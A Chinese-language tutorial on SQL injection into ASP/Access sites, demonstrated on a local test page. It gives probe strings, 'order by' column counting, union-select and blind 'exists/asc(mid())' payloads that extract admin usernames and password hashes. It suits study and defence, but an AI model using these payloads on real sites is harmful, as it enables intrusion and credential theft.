SQL注入原理-Access注入
0X001 针对网站域名的剖析
根据网站URL的地址我们大致能将URL分为以下几种 网站URL地址:
http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139
网站域名:http://127.0.0.1:81
文件目录:asp/Production
文件名:PRODUCT_DETAIL.asp?
文件参数名:id
文件参数值:1139
0X002 sql注入原理以及产生
不是太会画图 将就着看吧 这个就能很好的帮助我们学习sql注入 那么我们现在看看Access数据库的结构是什么样子的
Access数据库
表名
列名
数据
看完数据库分层大家就大概明白了access是怎样的数据库 那么说了这么多sql注入到底是怎么产生的呢?这是一个问题
sql注入原理:
脚本代码接受数据未经过过滤就交给服务器进行处理 导致恶意sql语句插入到数据库中执行 那么我们看一下究竟是在哪里出现的错误 打开PRODUCT_DETAIL.asp?文件 上图!
<% %>:这个函数作为asp语言的开端和结尾 id=request("id"):接受参数名为id的值并赋值给变量id sql="select * from product where id="&id:定义sql语句,组合变量id,赋值到变量sql
set rs=conn.execute(sql):执行sql变量中的sql语句
那么我们明白了这些 就可以看看 输入URL到底是什么意思
http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139 id=request("id") ==>id=1139(前面的id代表变量,后面的id代表参数名)
sql=select*from oroduct where id=&id==>
sql=select*from product where id=1139
这里就能看出你输入网站时并回车时执行的sql语句 那么我们在进行sql注入的检测时候输入and 1=1 这样他的sql语句是什么呢?
http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139 and 1=1 id=request("id") ==>id=1139 and 1=1(前面的id代表变量,后面的id代表参数名)
sql=select*from oroduct where id=&id==>
sql=select*from product where id=1139 and 1=1
那么我们常说的检测注入是否存在的方法到低是什么意思呢?
and 1=1 返回正常
and 1=2 返回错误
只要这两点存在那么就存在注入对吧 但是为什么要这样判断呢?这里牵扯到 数学中的逻辑运算符 首先我们要理解 或 且 非这三个文字在sql语句中是什么意思
或=or 且=and 非=xor
真且真=真
真或假=真
真且假=假
明白这些我们就能明白他的sql原理
你看 sql=select*from product where id=1139 这个是真的对吧 你放到浏览器里面 他会执行而且返回的还是一个正常的页面 那在后面加上一个and 1=1 是不是真且真的原理 1=1这个是不会改变的因为1只能等于1这是不变的 所以返回正常页面 那么1=2他始终是假的 1永远不可能等于2 那么就符合真且假的这个逻辑所以它返回错误页面 但是and 1=1 and 1=2 也是被作为检测数据库是否执行你的sql语句
0X003 Access注入攻击-联合注入查询法
1.判断是否存在注入
‘ 报错
and 1=1 返回正常
and 1=2 返回错误
order by xx 查询字段数量
就是检查我们的字段数 那么我们看看字段数到底在哪里 在Production目录里 我们去看看字段数究竟是什么
这些就是字段 后面还有很多 大概有22个吧 那么他的字段数就是22个 当然你在查询时在22是返回正常的 23就返回错误 这就说明字段数目是22个 order by 22正确 order by 23错误
2.猜解表名
这里需要运用到union select 这个函数 什么意思呢? 就是联合查询的意思 就是呗多个函数连起来进行查询 刚才我们查到了22个字段 那么我们就可以构造语句
http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
这个是什么意思呢 就是查询你数据库中有没有存在admin表如果存在他会返回什么样的界面呢
这样就说明了 他存在admin表 而且在第三 第15这里还出错了 那么我们就可以利用出错的3 15来执行我们的sql语句
http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
这就话的意思就是 查询admin表中是否存在 username password列名 那么返回正常的界面和错误的界面
这里它显示错误了 但是究竟是哪里错了呢 让我们看下数据库列名的名字就知道了
原来是列名的名字错误了 应该是admin password 那么我们改变一下去试试
这里就返回正常了 并爆出他的明文以及md5值 那如果报错呢 那就是可能他的列名的名字修改了 这就需要你们自己尝试爆破 去猜解 给大家一些常用的列名 user pass username password admin等等 因为查询的函数 union select 能够执行多的函数去sql查询 所以这个方法就是联合查询法
0X004 Access注入攻击-逐字查询法
逐字查询 字如其名一个字一个字的查询 一般比如啊D 明小子都是这样的 那么为什么要使用这种呢 因为它查询出来的信息很准确 所以很受猜解工具的青睐 那么为什么在我们手工时非常的不喜欢呢 因为它所需要的时间太长了 一个站点你要1个小时去查询 所以我就不掩饰太多
查表:and exists (select * from 表名) 返回正常 存在admin表
查列:and exists (select 列名 from 表名)
查数据:1.确定长度 2.确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
看到了吗 很麻烦滴 所以我不建议大家使用这种方法 如果你追求数据的准确性的话就使用这种方法
0X005 注入工具运作原理
这里我们使用w**plorer抓一下啊D 猜解表段的包来看看
这里我们可以看到 他的sql语句一直都是在查询表段名 那么我们放到网站中执行 这个sql语句去试试
这里我的表名是admin 所以就返回正常也就说明数据库中存在admin这个表 我将常用的猜解语句给大家打包下
and exists (select * from 表名) 猜解表名
and exists (select 字段 from 表名) 猜解字段名